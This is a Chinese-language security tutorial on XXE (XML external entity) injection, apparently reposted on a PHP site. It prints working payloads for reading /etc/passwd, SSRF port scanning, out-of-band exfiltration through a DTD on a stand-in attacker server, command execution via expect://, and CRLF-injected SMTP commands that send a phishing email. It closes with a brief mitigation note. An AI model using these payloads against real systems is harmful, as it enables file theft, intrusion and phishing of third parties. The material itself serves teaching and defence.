首頁  >  文章  >  運維  >  從XML到遠端程式碼執行的方法是什麼

從XML到遠端程式碼執行的方法是什麼

WBOY
WBOY轉載
2023-05-13 10:04:211292瀏覽

什麼是XXE

簡單來說,XXE就是XML外部實體注入。當允許引用外部實體時,透過建構惡意內容,就可能導致任意檔案讀取、系統指令執行、內網連接埠探測、攻擊內網網站等危害。

例如,如果你目前使用的程式為PHP,則可以將libxml_disable_entity_loader設定為TRUE來停用外部實體,從而起到防禦的目的。

基本利用

通常攻擊者會將payload注入XML檔案中,一旦檔案執行,將會讀取伺服器上的本機文件,並對內網發起存取掃描內部網路連接埠。換而言之,XXE是一種從本地到達各種服務的方法。此外,在一定程度上這也可能有助於攻擊者繞過防火牆規則過濾或身份驗證檢查。

以下是一個簡單的XML程式碼POST請求範例:

POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>XML is the best!</description>
   </core>
</catalog>

之後,上述程式碼將交由伺服器的XML處理器解析。程式碼被解釋並回傳:{"Request Successful": "Added!"}

現在,當攻擊者試圖濫用XML程式碼解析時會發生什麼?讓我們編輯程式碼並包含我們的惡意payload:

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

程式碼被解釋並傳回:

{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...

Blind OOB XXE

##如上例所示,伺服器將/etc/passwd檔案的內容作為回應傳回給我們的XXE。但是在某些情況下,即便伺服器可能存在XXE,也不會向攻擊者的瀏覽器或代理傳回任何回應。遇到這種情況,我們可以使用Blind XXE漏洞來建構一條外帶資料(OOB)通道來讀取資料。雖然我們無法直接查看文件內容,但我們仍然可以使用易受攻擊的伺服器作為代理,在外部網路上執行掃描以及程式碼。

場景1 - 埠掃描

在第一個範例中,我們透過URI將請求指向了/etc/passwd文件,並最終成功的為我們返回了文件中的內容。除此之外,我們也可以使用http URI並強制伺服器向我們指定的端點和連接埠發送GET請求,將XXE轉換為SSRF(伺服器端請求偽造)。

以下程式碼將嘗試與連接埠8080通信,根據回應時間/長度,攻擊者將可以判斷該連接埠是否已開啟。

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>

場景2 - 透過DTD竊取檔案

外部文件類型定義(DTD)檔案可用於觸發OOB XXE。攻擊者將.dtd檔案託管在VPS上,使遠端易受攻擊的伺服器取得該檔案並執行其中的惡意命令。

以下請求將被發送到應用程式以演示和測試該方法:

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>
上述程式碼一旦由易受攻擊的伺服器處理,就會向我們的遠端伺服器發送請求,查找包含我們的payload的DTD檔案:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM &#39;http://ATTACKESERVER.com/?%file;&#39;>">
%all;
讓我們花點時間了解上述請求的執行流程。結果是有兩個請求被發送到了我們的伺服器,第二個請求為/etc/passwd檔案的內容。

在我們的VPS日誌中我們可以看到,帶有檔案內容的第二個請求,以此我們也確認了OOB XXE漏洞的存在:

http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh

場景3 - 遠端程式碼執行

這種情況很少發生,但有些情況下攻擊者能夠透過XXE執行程式碼,這主要是由於配置不當/開發內部應用程式導致的。如果我們夠幸運,並且PHP expect模組被載入到了易受攻擊的系統或處理XML的內部應用程式上,那麼我們就可以執行如下的命令:

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">  <author>John, Doe</author>  <title>I love XML</title>  <category>Computers</category>  <price>9.99</price>  <date>2018-10-01</date>  <description>&ampxxe;</description>
   </core>
</catalog>
回應:

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

場景4 - 釣魚

我們使用Java的XML解析器找到了一個易受攻擊的端點。掃描內部連接埠後,我們發現了一個偵聽在25埠的SMTP服務,Java支援在sun.net.ftp.impl.FtpClient中的ftp URI。因此,我們可以指定使用者名稱和密碼,例如ftp://user:password@host:port/test.txt,FTP客戶端將在連線中傳送對應的USER指令。

但是如果我們將 (CRLF)加入到URL的user部分的任意位置,我們就可以終止USER指令並向FTP會話中註入一個新的指令,即允許我們向25埠發送任意的SMTP指令:

ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:a@VULNERABLESYSTEM.com:25
當FTP客戶端使用此URL連線時,下列指令將會被傳送給VULNERABLESYSTEM.com上的郵件伺服器:

ftp://a
EHLO a
MAIL FROM: <support@VULNERABLESYSTEM.com>
RCPT TO: <victim@gmail.com>
DATA
From: support@VULNERABLESYSTEM.com
To: victim@gmail.com
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:support@VULNERABLESYSTEM.com:25
這表示攻擊者可以從從受信任的來源發送釣魚郵件(例如:帳戶重置連結)並繞過垃圾郵件過濾器的偵測。除了連結之外,甚至我們也可以發送附件。

實用工具

能手動編輯web請求對於XXE攻擊至關重要,這裡我推薦大家使用BurpSuite。 BurpSuite的掃描功能可以為我們偵測潛在的XXE漏洞,其次是burp的Intruder功能非常適合用於連接埠偵測。但要提醒的是工具只是我們的輔助,在某些情況下手動測試可能會更好!

HTTP請求分析工具像RequestBin 和 HookBin 都非常適合OOB XXE的測試。此外,BurpSuite Pro的Collaborator也是個不錯的選擇,但有些安全研究人員喜歡使用自己的VPS。

緩解措施

上面討論的主要問題就是XML解析器解析了使用者傳送的不可信資料。然而,要去校驗DTD(document type definition)中SYSTEM標識符定義的數據,並不容易,也不大可能。大部分的XML解析器預設對於XXE攻擊是脆弱的。因此,最好的解決方法就是設定XML處理器去使用本地靜態的DTD,不允許XML中含有任何自己聲明的DTD。

以上是從XML到遠端程式碼執行的方法是什麼的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除